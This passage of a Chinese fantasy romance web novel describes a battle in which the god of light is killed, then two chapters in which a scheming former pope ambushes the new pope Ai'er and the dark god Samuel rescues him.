漂亮青年挡住了刚才在观望的天族的去路,客气笑了一下,“各位,作为人族,我本不该管神域和深渊的恩怨,但是你们选择的战场危及到了无辜生灵,可以和我谈一下吗?” —— 光明神殿之中,恍若太阳化身的金发神明靠坐在神座,摩挲着许久没有拿出来用过的神杖,眉眼低沉阴鸷。 亚希伯恩不相信塞缪尔转性了,变得耐心、善良、顾全大局,这未免太可笑了! 那个家伙重新封印了深渊,让魔族低调行事,一定是祂还没有恢复到以前的实力,不想让教廷发现祂,不想让自己发现祂。 亚希伯恩之前没有理会神域的封印,一是祂被法则困在了这里,就不甘心其他低等生灵能来去自由。 二是祂不想看到其祂神明信徒去向人族宣扬些神战时代的事情。 但是如今祂管不了这么多了,既然塞缪尔不想让深渊卷入战争,亚希伯恩就偏不会让祂如愿! 光明神绝不想等到那个家伙顺利恢复到以前的实力! 祂召集了所有神域异族的强者,以他们族内的幼崽为威胁,让他们去挑起和深渊的战争,战场要扩大到人族聚集的地方。 亚希伯恩还是有点理智在的,没有把所有神域异族都派下去,祂留下了光系异族,也好让人类保留对光明的好感。 神明想起了塞缪尔曾经的傲慢,对祂的不屑一顾,又想到了祂居然错过了那家伙转世后弱小不堪的时候,不由心生遗憾—— 多想看看塞缪尔不甘心的在祂手里挣扎求生是什么样子啊…… 金眸骤然一凛,亚希伯恩看向了神殿冰冷坚固的顶部。 祂闪身出现在了神殿上空,果然看到了熟悉的身影正拎着剑站在了圆顶之上。 男人黑发束起,穿着一身在亚希伯恩看来简陋至极的立领衬衫长裤,深邃的眉眼慵懒,随意地看着神殿主人,就像不是来找事的,而是路过了某个普通的地方,偶遇了一个普通的路人。 光明之主被老朋友的随意惹怒,祂冷笑着扫了一眼对方手里的剑,“你还是喜欢玩这些粗鲁的东西。” “这么久了,你怎么还是没有一点长进?” 塞缪尔的语气倒是随和很多,就差打个哈欠了。 不得不说自从谈了恋爱,祂心情愉悦到看很多东西都顺眼了,若不是亚希伯恩没事就刷一下存在感惹祂小伴侣心烦,塞缪尔根本就懒得搭理这家伙。 “哈…你现在是人类。”金发神明眯了眯眼,“那就看看新生的你长进了多少。” 塞缪尔毕竟也突破了剑神法神的境阶,又有神格在身,作战经验比亚希伯恩多了不知道多少,祂没有以前那般无坚不摧的体魄,也丝毫不落下风。 艾尔感应着恋人的方位找过来时,眼前的建筑已经被暴力摧毁了。 他隐藏了身形快速游走过偌大的神殿,确认了这里没有任何异族幼崽,连个神仆都没有,像是神殿的主人认为低等生灵没有资格留在祂的地盘。 战斗不会波及到无辜就好。 “啧,躲什么,费那么大劲保留下来的先天神躯,不会被我一剑斩灭吧?” 亚希伯恩每次听到对方说话,心中的厌恶和烦躁就会再多一层,可那把剑是父神赐予塞缪尔的礼物,祂可不想赌神剑的威力。 怎么会这么快……明明转世成了最弱小的人族,祂怎么能如此得快、如此顺利地成长起来! 教廷那帮废物! 怒急攻心的神明没有留意到一道细小的光箭夹杂在漫天的光明元素和魔法中,朝祂逆行而来,穿透了心脏,流出金色的血液。 还有谁能比光明之主更擅长治愈术,亚希伯恩甚至什么都没做,神躯便自行修复了那点小小的穿透伤。 祂看着某片白茫茫的空间,闪身便出现在了那里,神杖以迅雷不及掩耳之势刺向一片空气,却落了空。 隐藏在那里的人及时避开,现身于神杖旁边顺手抓住了它,另一手刺出了一把剑。 亚希伯恩不喜近身作战,艾尔也不喜离危险存在太近,两者都迅速远离对方。 光明神看见他和塞缪尔同时接近了彼此,祂眯了眯眼,“吾的教皇,你是被邪恶的黑暗魔法控制了吗?” 塞缪尔恶趣味地扯出一抹笑,抚上了银发青年的心脏位置,“没错,他已经被我蛊惑,身心,包括他的灵魂,都是属于我的了~” 正摆着一张严肃脸的艾尔没忍住抽了抽嘴角。 人类的灵魂已经被浓厚的信仰之力染成了纯白色,亚希伯恩看不清他被塞缪尔暗中定下了什么不平等契约,祂也不在乎,亚希伯恩只要这一身信仰来到祂面前就好。 真是个备受生灵喜爱的孩子啊……他身上的信仰之力,甚至比很多神明都要多。 也是个非常有天赋的孩子,居然能从祂手中抢走元素的控制权……亚希伯恩在两人的围攻下缓缓皱眉。 “哇哦~你们怎么把神殿给毁成这样,留着让我看一眼,长长见识呗。” 有道粗狂的声音越来越近,听得神殿主人额角一跳,祂闻声看去,有陌生人类正御剑而来,还有几个人类法师,以及……恶心的深渊异族。 来者都是已经有次神实力,或者早就破阶成神,只是一直低调生活的强者。 其中以深渊异族最多,毕竟都是天赋者,还是长寿种,再怎么样也能凑出一些次神。 只是他们以前因为太无聊了让自己陷入沉眠,否则哪儿轮得到汉克、安妮塔这些法神来管事。 多出来的生灵对亚希伯恩造不成威胁,否则祂早就被打上门了,但他们与塞缪尔站在同一阵营,而自己却单打独斗的局面让祂非常气愤! 为什么总是这样?! 明明自己才是光明,是温暖美好的象征,塞缪尔是冷漠暴戾的黑暗,但父神却更偏心塞缪尔,甚至赞美祂有一个干净通透的灵魂。 明明塞缪尔傲慢到从来不屑和低等生灵有联系,还是有一大批强大而忠实的追随者。 明明祂更友善,其祂强大的主神还是更喜欢和塞缪尔交流。 明明古神都是对世界发展的威胁,法则却同意了让塞缪尔带着神格转世…… 太多的攻击和声音扰乱了光明神的思绪,祂的大部分注意力都放在了最厌恶的存在身上,都说吃一堑长一智,但亚希伯恩显然没有听过这句话,所以…… 神明金眸骤然一缩,捂住了不知为何会剧烈疼痛的心脏。 太疼了…… 不需要吃苦受累,天生便有灭世神力、又鲜少遭遇劲敌的光明之主从未感受过如此疼痛! 治愈术没有用,祂能感受到神躯在修复和破损间反反复复,前所未有的疼痛终于让祂开始慌了,也让祂的脑子从万千思绪中清醒过来,目光狠狠剐向刚才伤过祂心脏的银发青年。 艾尔挑眉,只是尝试一下,没想到这招真的有用,伤害还这么大。 他看向了刚刚赶来的精灵王,心里默默道了一声,合作愉快。 塞缪尔又回到了小伴侣身边,“偷偷做了什么好事?” 青年瞪了祂一眼,“还不抓紧机会打祂,瞎聊什么呢?” 哎~宝贝儿真是太严肃了,某个妻管严无奈地叹息一声,去趁人之危追着光明神打了。 其实艾尔只是在光箭中夹杂了一点孢子——取自深渊的暗系魔植,有腐蚀性的剧毒蘑菇。 然后等好朋友精灵王到了之后,让他不断催生孢子繁殖就行了。 又不是无形的诅咒,蘑菇可是实体,就算被净化了,消解了,还是会有残留物附着在神明的心脏里。 眼看刚才还俊美耀眼的神明,此刻表情扭曲到恨不得掏出自己的心脏,艾尔想象了一下祂胸腔里是什么模样,不由“嘶”了一声,被自己脑补的画面吓到了。 满心满眼都只有一个敌人的时候,很容易忽略隐藏的危险,光明神是如此,与祂敌对的另一方也是如此。 众人隐约听见了海浪声,还有美妙至极的吟唱声,让人紧绷的精神和身体不由放松了下来,甚至产生了几分困意…… 有人突然嘟囔着,“咦~我的海螺?” 作为寥寥几个不受影响的人,海蓝色长发的妖异男人忽然凝出一片水箭攻击向某处。 残落的花墙中,有一朵神光花忽然白光一闪,化成了人形。 已经恢复了点记忆的前自然女神,现精灵王不满地皱眉,“我的木镯怎么在你手里?” 那是一件能让生灵变成植物,气息全无,完美隐藏自己的辅助器具,虽然并不是他特别喜爱的藏品,但也不想让自己的东西落到乱七八糟的人手上。 夏佐一现身,立即吸走了塞缪尔所有的注意力——这个该死的人类,他终于出现了! 白发男人叹息一声,没想到神器的主人也在这里,他也分不清这里究竟有多少神明转世,但神器的效果肯定会大打折扣了。 艾尔拦住了正一心想为他报仇的恋人,他歪了歪头,好奇问道:“冕下,您是站在光明神的那边吗,即便以您的头脑,非常清楚祂只想杀了你我,掠夺我们体内的信仰,也没有改变您的想法?” 夏佐看着他狼狈的神明,眼中有温柔,有无奈,“是,我一直都想站在光明身边的。” 就在亚希伯恩以为祂的教皇依旧虔诚的时候,又见那人看向祂,走向祂,问道,“吾神,您愿意舍弃了神躯和神格,转世开始新的人生吗?” 他温柔语气中带着期许,“不必害怕,夏佐一定会保护好您,认真抚养您长大,蜕变成一个完美的新神。” 亚希伯恩:“?” 艾尔:“……?” 其他人和异族:“???” 哪里来的神经病! 个别只专注于提升实力,不屑于情爱的强者完全看不懂这是什么局面。 夏佐看着神明紧皱的眉头,劝说道:“您已经迷失了自己,变得不完美了,请相信我对您的虔诚,我一定会让您回到诞生之初那样美好的样子……” 他幼时只是一个肮脏愚笨的流浪儿,被好心的神官免费帮他检测了天赋,从此便颠覆了人生,为强大的,仁慈的光明之主效忠,是他生命中的全部意义。 他在被神明选为圣子的时候,激动到恨不得马上为神明献出灵魂,献出一切! 哦,吾神说了希望他能早日去往神域,原来祂也在期待着自己! 后来,夏佐又在宝库之中偶然注意到一件能留影的神明遗物,然后看见了更生动真实的光明之主,天呐…祂是多么耀眼啊…… 年轻人的心脏怦怦直跳,很长一段时间,他每天都会想起神明的脸和声音。 等他实力越强,走过的地方越多,接触到的隐秘也越多,聪明的夏佐逐渐意识到了他崇敬的神明究竟是什么样的性格…… 但是那位神明早就成了夏佐人生中的全部意义,若是不再追逐着祂的身影,夏佐就仿佛失去了灵魂,可他又担心和神明接触越多,失望也越多…… 对了!那就变强吧,变得比他信仰的神更强,然后把神明变成他想象中的样子,变成教廷一直对信众宣扬的模样,圣洁、仁慈、深具智慧、高高在上……然后他会永远侍奉在神明身边,他会拥有一直期待的、幸福的未来! 夏佐的思维变得扭曲后,也变得冷漠了很多,他不喜欢有的候选人装着神明的神态,这是对他的神明的侮辱,所以夏佐杀了他们,比如丹尼尔。 他曾想掠夺别人体内的信仰之力,也会杀了候选人做尝试。 等教廷发生了这种麻烦事之后,他还可以找理由召请他的神明说一会儿话,可惜神明太过冷漠,总是说不上几句。 今日,向来强大的神明难得落于下风,夏佐万分希望祂能答应自己的请求,然后他们两个一起逃出去。 他真的,真的很想和传说中的光明之主在一起,他会努力把转世后的神明养成自己喜欢的模样…… 看着表情莫名狂热的白发男子,曾经和夏佐接触最多的艾尔和克列维奇院长懵得彻底——艹!完全没看出来你居然是这样的教皇! 这可真敢想啊。 再看亚希伯恩,听着“虔诚”的信徒形容他想象中的光明之主,祂的脸色比刚才落于下风的时候还要黑! 亚希伯恩怎么会容忍一个卑贱的蝼蚁对祂产生这种心思,当即就无视了塞缪尔这个一生之敌,对温柔看祂的男人发起攻击。 艾尔一时觉得这两个人的电影,他们这些外人不该过去打搅,啊……如果光明神死了,也不知道是被气死的还是受伤太重的缘故。 塞缪尔除了杀死这个人类为小伴侣报仇之外,什么都没想,祂甚至可以算是与光明神合作了一把。 其他人犹豫了一小下,两个敌人,还是先齐心搞死一个吧,剩下那个慢慢磨。 双拳难敌四手,更何况最想杀死夏佐的是两个强大的神明,即便有数百件神器相助,他最终也败下阵来。 被追寻了一生的神明所排斥厌恶,还被讽刺,男人不复以往的温雅,表情逐渐扭曲。 被塞缪尔的神剑劈成两截时,他白发凌乱,眼睛死死盯着狼狈的金发神明,嘴角勾起一抹带血的笑容,“我…等你,我的神明……” 亚希伯恩冷笑一声,挥手之间便让他尸骨无存,正要拿走夏佐的信仰之力时,那片白色忽然有种拉扯感传来,让祂无法顺利吸收信仰,与此同时,接连而来的攻击妨碍了祂的夺取。 艾尔捡漏拿走了无主的信仰之力,虽然他现在不是很在意这种东西了,但是敌人想要的,他就不想给。 亚希伯恩被强势的死敌步步紧逼。 祂本就难以匹敌塞缪尔,更何况水神的转世在操控祂的血液,就连那些卑贱的人类和魔族也在见缝插针地扰乱祂的攻击。 心脏处的负担越来越大,有什么东西将要破开祂的胸膛而出…… 神域之下,部分地域的生灵新奇地看着天上五光十色的异象,一个劲儿的夸好看。 等异象消失后,他们便揉了揉发酸的脖子,边和旁人畅想刚才是发生了什么,边继续做自己的事情,度过了平淡又有点精彩的一天。 古神一死,法则迅速吸收了神躯和神格的力量,亚希伯恩最后连一根头发丝儿都没留下。 结束一场战斗的人族大佬们伸伸懒腰,“啊~这下凡界能清静了。” 还以为是场九死一生的战斗呢,结果不知道从哪里蹦出个黑暗神更甚敌人一筹,还有光系神明一直在给他们回血,大家都活下来了,这可真是一件大好事啊。 并肩作战一场,各族的大佬们开始互相交流,介绍自己,交个朋友,顺便吐槽一下光明神给他们造成了什么麻烦。 塞缪尔打完架就去小伴侣身边,圈住他的肩膀挂在他身上了,整个人都舒服地放松下来了,还半撒娇似的嘟囔一句,“好累。” 银发青年习惯性地偏头吻了吻伴侣的脸,安抚着祂,“辛苦了,我们回你的神殿歇一会儿。” 至于还在等待结果的神域异族,相信院长他们会沟通好的。 周围忽然安静了下来,艾尔转头,就看到他俩被几十双眼睛注视了。 塞缪尔慵懒地瞥了他们一眼,“看什么?没和自己的恋人抱过吗?” 祂语气一顿,转而眼角眉梢带着些许得意道:“啊……抱歉,忘记了你们都没有恋人。” 看着同伴们或震惊或惊悚的表情,艾尔抿了抿唇,“咳,惊不惊喜,意不意外?” 光明教皇,和黑暗之主?回想起刚才得知的前任教皇的感情,众人只觉得——啊,懂了,我们不够强,是因为没有经历过刺激的爱情哈哈哈哈哈哈! 塞缪尔才不管这群石化的家伙,祂自顾自搂着小伴侣回家睡了美美的一觉。啊,今天也是甜蜜的一天呢,就如同往后的无数个日子一样~ 130-135 第131章 第 131 章 艾尔半点不拖拉地回到主教廷, 他还是第一次回这个地方这么高兴,也是第一次送别熟人的时候这么高兴。 教皇冕下向来喜欢安静,不想和太多人见面, 所以这场告别很低调,埃德加主教只把几个孩子们, 还有大主教们叫回来了。 本来教皇平日里也不管事, 他的离开对教廷可以说是毫无影响, 甚至除了忠心的埃德加主教外,没人会产生不舍之情。 头上少了座大山压着, 大家都轻松快意了很多, 这种心情也表现在了脸上, 大主教们最夸张,嘴角基本没有拉下来。 艾尔以前还没见他们笑得如此真心过, 不过人家嘴上说着是为冕下感到高兴,已经很久没有出现能去往神域的人了,冕下真是他们光明教廷的荣耀啊! 并且能亲眼见到伟大的光明神,并侍奉于祂身边, 一直是冕下的心愿, 感谢吾神赐福,让冕下能在千岁之前就顺利突破为新神! 嘴上说得好听,其实就是单纯的高兴教皇要永远离开了。 大主教们当然知道圣子会继位为教皇, 成为他们的新上级, 但是在他们、尤其是被艾尔得罪过的大主教眼里, 年轻圣子实力不足, 成不了他们头顶的大山。 所有知情人都或激动, 或期待,或不舍, 教皇本人倒是一如既往的淡定,将他的继任者单独叫过去叮嘱一些事情。 教皇将一柄锋利的银白长剑交给他,也就等于把神圣骑士团的指挥权移交到他手中了。 因为艾尔以往喜欢游历在外,和骑士们交集不多,还贴心的帮他了解几个实力最强的骑士是什么性格脾气。 权贵人物的机密情报交给他,财库钥匙也交给他,还仔细教了艾尔召唤阵和请神咒语。 白发男人谆谆教导的模样就像一位负责的师长,态度还是那么温和,只是以前更流于表面,这次要更真实,艾尔想着他肯定是心情极好。 虽然自己想不通这么强的实力不去潇洒度日,还赶着去侍奉一个无聊的神明是什么爱好,但人各有志嘛,冕下乐于其中,他也能升职,大家都有美好的未来。 然后,随着时间一点点过去,教皇越是说的周全,艾尔心里越惴惴不安。 他对眼前这人的看法是,心机深沉,做事必有目的,不会浪费时间去和没有用处的人打交道。 既然教皇要离开凡界了,那这里的人对他也没价值了才对,为什么突然对他这么温柔…… —— 大殿之中,神像双目注视之处,温润男人一拄法杖,脚下亮起了一圈圈白色符文,纹路包含了太阳、月亮和星星,以及十大元素的图案象征,那是魔法境阶的证明,每个魔法师都可以主动显示自己的魔纹。 王城上空云层翻涌,天色更亮,隐身在空气中的光明元素发着莹润微光,轻盈地飘来飘去,就像天空下起了大雪。 城民们稀奇不已,小孩子们努力捕捉着温暖的光点,发出欢快笑声。 蔚蓝天空就像裂开了一道小口,里面金光乍泄,有一道似光似雾的影子从郊外的教廷飞出,飘飞进了那道小口,裂缝闭合之后,王城的美妙景象很快也随之消失了。 艾尔的不安在亲眼见到教皇飞升上界后,心终于定了下来。 安慰了一下舍不得教皇的埃德加主教,又被一些人围住询问继位仪式的事情。 终于能当家做主的艾尔当然是打算随着自己的心意来,那就是——不搞继任仪式。 反正他有实力有名声,在神官和信徒中都有大批的支持者,是名正言顺的新任教皇,没必要搞得兴师动众的。 咳,主要是他懒得应付一大帮人,也不想说场面话。 见新教皇心意已决,众人也不再劝了,跟艾尔关系不好的大主教们只是从众说了两句,然后就不管了,不办仪式更好,他们也省了一份贺礼。 人群散去,银发青年忽然注意到神像下的一角,那个钥匙孔所在的地方,顿时僵住了——教皇冕下他……忘记把地下藏宝库的钥匙给他了! 脑中迅速回忆了一番不久前教皇交给他的东西,有机密情报室的钥匙,还有存放金银财宝的财库钥匙,确实,没有地下宝库的钥匙呢。 笑容缓缓消失.jpg 艾布纳看他一脸恍惚,“怎么了?你该不会是想念冕下了?” 本来是开个玩笑,没想到艾尔居然点了一下头,语气忧伤道:“真希望能再见冕下一面啊……” “???” 艾布纳正想问他俩什么时候关系那么好了,就见艾尔脸色一正,匆匆离开了。 艾尔来到了教皇的住处,先从他们刚才待过的书房找起。 他心里还抱着一点希望,一定是地下宝库不常用,冕下一时之间没想起来,加上快见到光明神所以太激动了,就忘记了宝库的存在,像他自己不也才想起来。 万一运气好,钥匙被冕下整理财产的时候顺手放在了书房呢。 很快,书房,连带着前任教皇的卧室都被他翻遍后,艾尔终于心死了。 嗐,是他太乐观了,这个世界的有钱人,都是会把重要东西放在空间戒指里随身携带的。 乐观的艾尔继续安慰自己,算了算了,只要世界和平,那些神明遗物也派不上用场,真的有需要了,集齐大主教们身上的备份钥匙碎片就行。 本来答应了伴侣今晚就能回去,但艾尔现在想留下来看看教廷收集的八卦,咳…情报,便用通讯水晶联系塞缪尔不用等他了。 一摞摞书函都放在前任教皇书房里的密室中,艾尔拿了一些出来,就坐在书房里看。 —— “叩叩” 银发青年闻声抬头,才发觉天色已经从黄昏彻底暗了下来,境阶高了之后已经不会感到饥饿和疲惫了,所以沉迷某件事后总是注意不到时间的流逝。 艾尔起身去开门,没有随意的边敲门边叫他名字,肯定不是艾布纳那几个家伙,他猜测,一定是主教阁下吧…… “?!”啊? 看到完全出乎预料的人,青年瞪大了眼睛,在门刚打开的那一瞬,在他反应过来之前,便听见“嗤——”的一声。 艾尔略迷茫地低头看,果然是有什么东西刺穿了他的腹部…… 可能是应激反应,大脑屏蔽了痛觉,他此刻感觉不到痛意。 直到对面的人收手将法杖拔了出来,温热的血液汩汩外流,疼痛感开始出现,随着每次呼吸都越发尖锐。 艾尔额角冒出点点冷汗,这种时候了,他居然还有闲心反省一下,老话说的没错,做人不能太得意忘形,说不定会乐极生悲。 光明神留下的护印起效了,艾尔能感觉到破损的内脏正在修复,他摸着手腕上的镯子,将之变成完全形态的法杖。 本来跟对方就没什么感情,突然被袭击,艾尔也并不震惊,或者难过,他只是眼神复杂地看着对方,平静说道,“冕下,您可真会给人惊喜。” 对方习惯性地带着几分温和笑意说话,“抱歉,艾尔,你是个好孩子,我也不想杀你的。” 艾尔暂时不想动手,他更想知道原因,便冷静的跟他聊着。 “我不是您的对手,但您应该知道我身上有护印,恐怕短时间内杀不了我,不担心被别人发现吗?” 温雅的白发男人叹了口气,“抱歉,因为吾神的护印,还需要多杀你三次,我会尽快结束的,不会让你痛苦太久。” 夏佐再次动手时,早有防备的青年躲了开来,男人注意到了艾尔远超寻常法师的速度和灵活度,微微挑眉,却也没放在心上。 境阶相差太大,不管这孩子如何挣扎,也是徒劳而已。 艾尔瞄了一眼对方手上那根弯曲如树枝的黑色法杖,他在地下宝库里见过,这是疫神的神杖。 啧,原来没给钥匙是故意的,免得众人发现了神明遗物的失窃。 光系魔法让黑夜看起来像白天,但周围依旧没有其他人的动静。 艾尔艰难地维持元素的控制权,见等不来帮手,他一个法圣,疯了才跟次神级别的人继续打下去。 等接连用了两张传送卷轴却没看到空间裂缝之后,艾尔的心彻底沉了下去。 一张不起作用他就当制作者马虎,出了点小差错,两张不起作用,就不能用倒霉和巧合来解释了。 “空间系神明遗物?” 夏佐温声回答,“是,宝库的东西还是很好用的。” 艹……艾尔暗骂了一声,他刚才怎么会这么天真以为对方只拿了根神杖伪装凶手身份。 现在看来,教廷的人毫无动静,也是某件神器的原因。 “咳…咳咳…”银发青年嘴角溢出一道血线,这是第二次处于濒死状态了。 加害者竟露出几分遗憾,“这个年纪,居然已经修到法圣境阶了吗,真是个有天赋的孩子。” 艾尔忽然想起了很久之前的一些事情,“那几个候选人…咳咳…也是你动的手?” 夏佐没有否认,“你比他们要好很多,如果可以的话,我也不想让你死,可惜……你太有价值了。” 他本身就实力高出银发青年一个大境阶,身上又尽是神明遗物,光、木、水……身边的一切,仿佛连空气都在进攻,艾尔哪会是他的对手,这辈子从来没像今天这样狼狈过! 若不是多年来一直在练剑术,身体反应够快,恐怕早就死透了。 即便这样,艾尔也撑不了多久,空间神器将他限制在一平米内,进不得,退也不得,三道护印很快便消耗完了。 更麻烦的是,疫神的神杖在他身上造成的伤,用治愈术效果不大。 夏佐站在几步之外,动了动手指,从虚弱到只能撑着法杖才能站立的青年身上拿取自己想要的东西。 白色的光点从艾尔心脏处流出,但中途停留了一下,又返回了自己主人体内。 白发男人眯了眯眼,他确定这孩子不是法神,应该看不到、更控制不了信仰之力才对,为什么无法剥夺? 果然是要他彻底死去才行吗…… 夏佐看着正勉强撑着防御魔法的青年,为什么还要抵抗呢? 明明毫无胜算,早点放弃,就早点从痛苦中解脱不是吗? 胜券在握的男人忽然蹙起眉头——这片完全受他控制的空间,出现了一股强大的压迫感。 几乎在夏佐察觉到异常的瞬间,艾尔那边正在攻击他的元素造物已经完全消失在黑暗之中。 被浓厚的黑暗笼罩着,却比温暖的光明更让他安心,在他卸力倒下之前,便被万分熟悉的怀抱圈住了。 第132章 第 132 章 银发青年在教廷时总是穿着素洁的金纹白袍, 如今白袍变成破碎血衣,看起来格外凄惨狼狈。 塞缪尔很难形容自己刚才找过来时,看见伴侣一身血迹, 摇摇欲坠的时候是什么感觉。 那瞬间,祂的身体和灵魂仿佛坠入寒潭, 心尖都在发颤。 “怎么把自己搞成这样?” 心疼和后怕远胜于愤怒, 塞缪尔甚至无视了造成这一切的元凶, 祂只紧紧地抱着自己的恋人,感受着他的温度和呼吸间的胸膛起伏, 怕自己一个不留神, 恋人就永远地闭上了眼睛。 神明从来没有像此刻这般意识到, 原来生命是如此的脆弱又珍贵…… 艾尔注意到伴侣说话时的一点颤音,心疼不已, 他一向骄傲肆意的伴侣,怎么能害怕呢? 本来想提醒对方力气太大弄疼他伤口了,算了…只是疼一下又不会死。 青年带着凉意的手紧握住恋人,改口温声安慰, “没事, 就是血落在白衣服上太显眼了,看起来有点惨而已,死不了的。” 黑暗影响不了塞缪尔的视觉, 祂看见恋人脸色苍白, 却还笑着安慰祂…… 但呼吸间是满腔的血腥味, 揽着他腰背的手也被正在流出的温热血液浸湿, 塞缪尔完全没被安慰到。 祂紧皱着眉, 异常焦躁,“伤口怎么还没愈合?” 艾尔已经用过很多次大治愈术了, 各种治疗魔药也喝了一堆,但就是见效缓慢,还没等他多说,塞缪尔已经从浓重的血腥味中嗅到了熟悉的味道,“疫神的腐烂臭味……” 比次神更磅礴的神力抹消了伤口中残留的邪恶诅咒,艾尔再用治愈术的时候,伤口以肉眼可见的速度止血复原。 因为银发青年那边被黑暗笼罩,教皇看不见两人相拥的姿势,他略新奇地问,“黑暗魔法……是艾尔在深渊交的朋友吗?” 男人态度随和,就像刚才什么都没做一样。 居然为了救人闯入光明教廷……神明当年评价的没错,艾尔果然是个受万众生灵喜爱的孩子,连深渊异族都愿意真心待他,真是让人羡慕啊…… 教皇一出声,倒是提醒了塞缪尔敌人的存在。 黑雾散去,教皇看见银发青年无力地靠在一个高大男人的怀里,而男人看向了他,黑眸森冷。 夏佐挑眉,居然不是异族,能化解神器的威力,他还以为是那位传闻中的魔王陛下呢。 “暗系天赋者。”教皇不认识根本没来过教廷几次的圣子近身骑士,如果不是对方发色不对,他还以为这就是神明一直忌惮的黑暗之子了。 但他的疑心也没有完全打消,这种致命威胁感太熟悉了,对方高高在上的态度也太熟悉了,像极了他的神明…… 唯有愤怒,让黑眸男人看起来像是个懂爱恨的人类。 来者看不出深浅,夏佐还是决定试着杀死两人,但在他动手之前,对方根本不想多说一句废话,在注意到加害者的瞬间便动手了——祂要让这个人类受尽折磨而死,然后,挫、骨、扬、灰。 夏佐立即注意到了光元素被排斥出这片空间,不……准确来说,除了暗元素,这里已经没有任何其它元素了,以他次神的境阶居然只能勉强使出魔法! 教皇脾气稳定,脸上也没有显露什么坏情绪,他只轻笑一声,谁能想到就那么一会儿时间,他便落到了艾尔刚才的境地呢。 塞缪尔抱着伤还没好的伴侣,不放心离开他身边,只冷冷看着蝼蚁在步步紧逼的杀招中艰难抵抗。 地上多了第二个人的血迹,教皇濒死一次,但被圣光护印治愈了身体,让他略诧异的是,护印对黑暗力量的反击被黑眸男人完全挡下,这可是主神的一击呢…… 塞缪尔只恨祂的实力还没有完全恢复,这个人类有众多神器相助,祂不能完全控制住他,但即便如此,对方也是没有胜算的。 夏佐重伤一次后也不恋战,甚至没有费时间问一句对方的身份。 他从数百件神明遗物中找到适合防御和循走的神器,逃离了此地。 塞缪尔蹙眉,条件反射的就想追杀过去,但如今祂有了牵绊,不能再随意行动了。 艾尔见夜空中裂开一道不明显的缝隙,“他去了神域?” 塞缪尔蹭了蹭他的额头,闷闷地“嗯”了一声。 艾尔了然,原来白天那么大的声势是教皇故意的,让每个人都相信他已经离开凡界,神域是只能进不能出,这样不管下界发生什么,都没人会怀疑到他身上。 如果不是塞缪尔的威胁太大,那个人恐怕还会在凡界隐藏一段时间去暗杀其他人抢夺信仰之力。 若不是他特殊,从小就能看见信仰,恐怕都不知道教皇杀他是图什么。 艾尔依旧紧握着恋人的手,声音虚弱地说了一句,“不要追。” 他不想恋人进入神域后被光明神察觉到,至于教皇冕下,他们来日方长…… 身上狰狞的伤口是愈合了,但是失去的大量血液不可能突然凭空变多,要缓一阵才行,所以艾尔现在还晕眩乏力着,把整个人的重量放心地交到恋人身上。 塞缪尔的大手拢住青年微凉的手给他取暖,“没有追,我陪着你。” 男人语气轻柔,眼神却格外恐怖。 祂本想强行和那个人族签订主奴契约,让他在恐惧中自残而死,但那人身上有神器在保护他的灵魂,一时之间碎不了那玩意儿,塞缪尔只能在他身上留了个追踪印,以后必不可能放过他! 塞缪尔打横抱起伴侣就要带人回深渊的神殿,祂可没心思管周围一片残垣断壁被教廷其他人看到会怎么想。 但艾尔谨慎惯了,在祂一脚迈入传送阵之前,用光明驱逐了高浓度的黑暗元素,并把因为碰到暗元素而枯萎的神光花变回了娇嫩模样,然后注意到恋人阴沉的脸色后,乖巧地搂住了祂的脖子。 塞缪尔将人带回卧房,正准备把人放在床上,青年却有些抗拒,将脸埋在祂颈间,语气绵软,“再抱我一会儿。” 塞缪尔一怔,祂以前总希望伴侣能主动点,最好撒个娇,此时青年真的这样做了,祂只觉得心疼…… 转身坐在了靠椅上,塞缪尔把人放在腿上,抱在怀里轻轻拍着他的背,“只是想帮你换衣服……是不是害怕了?别怕,我们在家里,没有外人能闯入这里。” 神明大人哪用过这么小心翼翼的语气说话,但心怀柔情的时候,这些话自然而然的就说出来了。 青年难得任性,搂着恋人的脖子,“不换,害怕,你再抱一会儿。” 塞缪尔听他承认,反而短促地笑了一声,“你一向胆大,居然还会害怕?有我现在害怕吗?” 祂现在心脏还收紧着,还在后怕,不敢想象如果祂今晚没想过找他,或者晚来了一会儿,会发生多可怕的事。 血腥味一直萦绕在鼻尖,塞缪尔终于看不下去青年身上那血淋淋的衣袍了,祂看的揪心,黑雾将之吞噬干净,然后祂才拿出一件斗篷盖在人身上。 艾尔闻言从厚实温暖的怀里抬起头,沉默地注视着俊脸阴郁的伴侣。 他本来感情内敛,很多想法是羞于启齿的,现在看着伴侣始终没有放松的眉头,苍白脆弱的青年长睫一颤,终于轻声开口,“我不怕死……我只是怕再也见不到你了。” 这辈子已经体验了太多曾经不可想象的事情,在弱肉强食的世界,被杀也是他技不如人,如果他是孑然一身,死亡或许只会让他感到遗憾,而非害怕,但他不是一个人啊…… 在好几次濒死的时候,他担心的不是自己,而是他的黏人精伴侣。 父母还有彼此互相慰藉,塞缪尔要怎么办呢…… 祂只在意自己的恋人,失去联系一天都会焦躁,纯纯的恋爱脑,艾尔非常笃定,如果他出事了,塞缪尔一定会发疯的。 “我怕你以后都不会再开心了……”他只是想一想他去世后伴侣会是什么心情,自己就先难过得不行。 塞缪尔愣住了,自幼相识,祂还是……第一次见到青年流泪。 他哭的时候很安静,连抽噎声都没有一点,还温柔地看着抱着自己的人,就像根本没有意识到眼泪流了下来。 神明大人心都化了,细细吻走泪珠,最后吻上了柔软的唇,唇齿间溢出了一句话,“看你还敢和我分开。” —— 过了好一会儿,两人后怕的心终于松下来了。 艾尔拉着伴侣的手捏着玩儿,闲聊问着,“你是怎么知道我有危险的?” 塞缪尔笑了一下,“就像你以前教过我的那个词,心有灵犀?” 祂待在兰开斯特庄园里的时候,忽感心悸,脑中第一时间想到了祂的小伴侣,“再加上,你没有接我的水晶通讯。” 小伴侣从来没有无视过祂的联络,或许他身边有外人在,不方便接通讯,这么想着,塞缪尔还是半点不犹豫的赶去了教廷,祂就这么一个宝贝,祂赌不起。 艾尔眼珠一动,想起了什么,弯眸笑着,“光明神留在我身上的三道护印都废掉了,现在,你可以在我身上留下印记、或者契约?随便吧。” 塞缪尔黑眸一亮,立即和小伴侣签订了灵魂契约,从此他们便能随时感应到彼此的方位,感知到对方是否安全……有太多能让他们关系更紧密的好处了。 艾尔看着刻有塞缪尔名字的契约阵没入心脏处,只觉安心。 如果教皇见到了光明神,必然会提到他身边有个强大的暗系天赋者,他在深渊游历这么久,交个朋友不也很正常嘛,什么?他身上有暗系的印记?他不知道呢。 他只知道,前任教皇无缘无故的要杀他,所以光明神大人赐下的三道护印都没有了。 嗯,如果光明神再降临找他的时候就这么说。 